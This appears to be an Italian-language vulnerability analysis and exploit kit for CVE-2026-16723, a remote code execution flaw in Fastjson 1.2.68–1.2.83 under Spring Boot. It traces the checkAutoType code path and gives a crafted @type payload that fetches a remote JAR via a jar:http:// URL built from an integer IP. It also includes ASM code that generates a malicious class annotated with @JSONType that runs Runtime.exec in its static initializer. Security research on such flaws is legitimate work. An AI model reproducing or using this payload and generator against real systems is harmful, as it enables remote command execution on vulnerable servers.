
Analisi dettagliata di CVE-2026-16723 e kit di exploit per Fastjson 1.2.83 RCE, che copre percorsi di codice vulnerabili, generazione di JAR/bytecode dannosi e un ambiente Docker Compose per riprodurre l'attacco.
Disclaimer: questo progetto è destinato esclusivamente all'uso per ricerca sulla sicurezza e apprendimento in ambienti autorizzati. È vietato testare sistemi non autorizzati; le conseguenze dell'uso sono a carico dell'utente.
CVSS 9.0, interessa Fastjson 1.2.68 ~ 1.2.83. Non è necessario abilitare AutoType, non sono necessari Gadget di terze parti, la configurazione predefinita è sufficiente per lo sfruttamento.
Il punto di ingresso della vulnerabilità è in com.alibaba.fastjson.parser.ParserConfig.checkAutoType. Indipendentemente dal fatto che venga chiamato JSON.parse(body) o JSON.parseObject(body, Foo.class), si finisce sempre in questo metodo.
Percorso del codice chiave (fastjson 1.2.83):
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ① 黑白名单检查——autoTypeSupport=false 时整段跳过
if (autoTypeSupport || expectClassFlag) { ... }
// ② @JSONType 注解探测
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) { }
finally { IOUtils.close(is); }
// ③ 类型加载
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// ④ jsonType=true 时跳过所有后续检查
if (clazz != null) {
if (jsonType) {
return clazz;
}
// denyList 检查、硬编码拦截、isAssignableFrom ...
}
}
L'interruttore AutoType (autoTypeSupport) controlla solo ① se si entra, ma ② il rilevamento delle annotazioni viene eseguito incondizionatamente. Non appena jsonType in ② diventa true, ③ il caricamento del tipo e ④ il salto dei controlli di sicurezza si attivano in sequenza.
String resource = typeName.replace('.', '/') + ".class";
typeName è il valore di @type nel JSON, completamente controllabile dall'attaccante. L'intento originale era convertire com.example.Foo in com/example/Foo.class, ma quando l'input è un URL, questo diventa un costruttore di URL.
Poiché anche i . nell'hostname vengono sostituiti, l'attaccante usa un IP intero per aggirare il problema. L'intero senza segno a 32 bit di 127.0.0.1 è 2130706433:
输入: jar:http:..2130706433:8000.probe!.EvilPayload
↓ replace('.', '/')
输出: jar:http://2130706433:8000/probe!/EvilPayload.class
.. → //, .probe! → /probe!/, ottenendo un localizzatore di risorse jar:http:// valido.
is = defaultClassLoader.getResourceAsStream(resource);
La capacità di getResourceAsStream di risolvere jar:http:// come risorsa remota dipende interamente dal tipo di ClassLoader:
| ClassLoader | Comportamento |
|---|---|
JDK AppClassLoader | cerca solo nel classpath locale → null |
Tomcat WebappClassLoader (WAR autonomo) | cerca solo in WEB-INF/lib → null |
Spring Boot LaunchedURLClassLoader (fat-JAR) | supporta jar:http:// → esce via HTTP per recuperare il bytecode |
C'è un punto facilmente confondibile: quando Spring Boot incorpora Tomcat, il ClassLoader delle classi dell'applicazione è LaunchedURLClassLoader e non WebappClassLoader. Quindi Tomcat/Jetty/Undertow incorporati rientrano tutti nell'ambito di influenza.
Quando is != null, il bytecode della classe remota ospitata dall'attaccante è già entrato nella memoria della JVM.
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
Fastjson usa ASM per scansionare il bytecode e verificare se contiene l'annotazione @com.alibaba.fastjson.annotation.JSONType. L'intento progettuale era l'ottimizzazione delle prestazioni: identificare rapidamente i tipi gestiti da Fastjson tramite l'annotazione. Tuttavia qui viene solo verificata l'esistenza dell'annotazione, senza validare la provenienza del bytecode, senza controllare il nome della classe e senza limitare l'origine. La class remota dell'attaccante, purché contenga @JSONType, ottiene il verdetto jsonType=true.
Nota che catch (Exception e) {} è vuoto: l'attaccante non riceverà alcun errore.

if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
jsonType=true soddisfa la condizione. loadClass segue il flusso standard di caricamento delle classi, registrando il bytecode come oggetto Class della JVM tramite defineClass.
È necessario distinguere due concetti: defineClass completa la definizione della classe (registrazione nella JVM), mentre <clinit> viene eseguito durante la fase di inizializzazione della classe. Le due fasi possono essere completate all'interno della stessa richiesta, ma secondo la specifica JVM sono indipendenti.
if (jsonType) {
return clazz;
}
Questa riga aggira tutte le difese successive:
ClassLoader/DataSource/RowSetdenyListexpectClass.isAssignableFrom(clazz)Questo spiega anche perché parseObject(body, Dto.class) non riesce a proteggere: il controllo del binding del tipo avviene dopo il caricamento della classe, mentre il codice dannoso viene già eseguito durante la fase di caricamento.
L'attaccante deve generare un file bytecode che soddisfi tre condizioni: portare l'annotazione @JSONType, incorporare il codice dannoso in <clinit>, ed essere ospitato tramite HTTP.
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
"EvilPayload", null, "java/lang/Object", null);
// 过 ASM 探针
cw.visitAnnotation(
"Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();
// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
"<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
"java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);
// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());
La logica malevola viene attivata tramite <clinit>, ed è sufficiente che la classe venga caricata per essere eseguita.